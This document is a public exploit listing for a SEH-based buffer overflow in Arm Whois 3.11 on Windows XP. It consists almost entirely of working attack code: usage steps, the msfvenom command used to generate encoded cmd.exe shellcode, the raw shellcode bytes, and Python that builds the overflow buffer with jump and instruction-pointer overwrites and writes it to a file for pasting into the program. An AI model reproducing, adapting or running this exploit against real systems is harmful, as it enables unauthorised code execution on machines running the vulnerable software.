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Arm Whois 3.11 - Buffer Overflow (SEH) Exploit
# Exploit Title: Arm Whois 3.11 - Buffer Overflow (SEH) # Exploit Author: Yair Rodríguez Aparicio (0-day DoS exploit), Semen Alexandrovich Lyhin (1-day fully working exploit) # Vendor Homepage: http://www.armcode.com/ # Software Link: http://www.armcode.com/downloads/arm-whois.exe # Version: 3.11 # Tested on: Windows XP Proffesional Español SP3 x86 (PoC), Windows XP Proffesional English SP3 x86 (fully working) # HOWTO: # 1.- Run python code : python whois.py # 2.- Copy content to clipboard, from console or from file - text.txt # 3.- Open whois.exe # 4.- Paste clipboard on "IP address or domain" # 5.- click on "Retrieves IP-adress info" # 6.- CMD is popped. #max buffer lenght: 658. Badchars: a lot of. alpha_mixed + "\x89" works fine. #msfvenom -p windows/exec CMD=cmd.exe -f py -e x86/alpha_mixed -b "\x89" #445 buf = "" buf += "\x54\x5d\xdb\xd5\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37" buf += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41" buf += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" buf += "\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x6b\x58\x4d\x52" buf += "\x33\x30\x75\x50\x35\x50\x31\x70\x4c\x49\x68\x65\x56" buf += "\x51\x39\x50\x70\x64\x4c\x4b\x32\x70\x36\x50\x4e\x6b" buf += "\x73\x62\x54\x4c\x4e\x6b\x72\x72\x62\x34\x4c\x4b\x54" buf += "\x32\x54\x68\x34\x4f\x6d\x67\x32\x6a\x77\x56\x46\x51" buf += "\x49\x6f\x6c\x6c\x47\x4c\x61\x71\x63\x4c\x63\x32\x54" buf += "\x6c\x61\x30\x59\x51\x7a\x6f\x66\x6d\x35\x51\x4a\x67" buf += "\x59\x72\x5a\x52\x33\x62\x30\x57\x4c\x4b\x50\x52\x64" buf += "\x50\x4c\x4b\x52\x6a\x77\x4c\x4c\x4b\x42\x6c\x46\x71" buf += "\x44\x38\x69\x73\x71\x58\x63\x31\x5a\x71\x73\x61\x4c" buf += "\x4b\x32\x79\x35\x70\x47\x71\x6b\x63\x4e\x6b\x32\x69" buf += "\x36\x78\x5a\x43\x45\x6a\x33\x79\x4e\x6b\x64\x74\x6c" buf += "\x4b\x77\x71\x7a\x76\x35\x61\x4b\x4f\x6e\x4c\x7a\x61" buf += "\x68\x4f\x64\x4d\x33\x31\x48\x47\x66\x58\x6d\x30\x53" buf += "\x45\x49\x66\x54\x43\x43\x4d\x58\x78\x65\x6b\x61\x6d" buf += "\x76\x44\x53\x45\x4d\x34\x50\x58\x4c\x4b\x42\x78\x74" buf += "\x64\x56\x61\x39\x43\x71\x76\x6c\x4b\x34\x4c\x52\x6b" buf += "\x4c\x4b\x32\x78\x55\x4c\x75\x51\x68\x53\x6e\x6b\x56" buf += "\x64\x6e\x6b\x65\x51\x78\x50\x6c\x49\x73\x74\x37\x54" buf += "\x47\x54\x61\x4b\x53\x6b\x53\x51\x71\x49\x73\x6a\x62" buf += "\x71\x6b\x4f\x4d\x30\x33\x6f\x43\x6f\x71\x4a\x6c\x4b" buf += "\x64\x52\x4a\x4b\x4e\x6d\x53\x6d\x31\x7a\x57\x71\x6c" buf += "\x4d\x4c\x45\x68\x32\x47\x70\x47\x70\x57\x70\x66\x30" buf += "\x75\x38\x56\x51\x6e\x6b\x70\x6f\x6d\x57\x39\x6f\x49" buf += "\x45\x6d\x6b\x4a\x50\x4e\x55\x69\x32\x50\x56\x73\x58" buf += "\x59\x36\x4c\x55\x6f\x4d\x6f\x6d\x6b\x4f\x48\x55\x67" buf += "\x4c\x45\x56\x63\x4c\x77\x7a\x4f\x70\x59\x6b\x4d\x30" buf += "\x30\x75\x57\x75\x4f\x4b\x37\x37\x42\x33\x70\x72\x62" buf += "\x4f\x63\x5a\x75\x50\x50\x53\x39\x6f\x4b\x65\x35\x33" buf += "\x50\x6d\x53\x54\x46\x4e\x30\x65\x62\x58\x53\x55\x75" buf += "\x50\x41\x41" shellcode = buf + "\x41"*(658-len(buf)) EDX_BAD_OVERWRITE = "\x42"*4 EIP = "\xC2\x34\x40" second_space = "\xe9\x65\xFD\xFF\xFF"+ "\x43"*3 first_space = "\x43"*2 + "\xEB\xF2" buffer = "\x41\x41" + shellcode + EDX_BAD_OVERWRITE + second_space + first_space + EIP print buffer f = open("text.txt", "w") f.write(buffer) f.close() # 0day.today [2024-12-24] #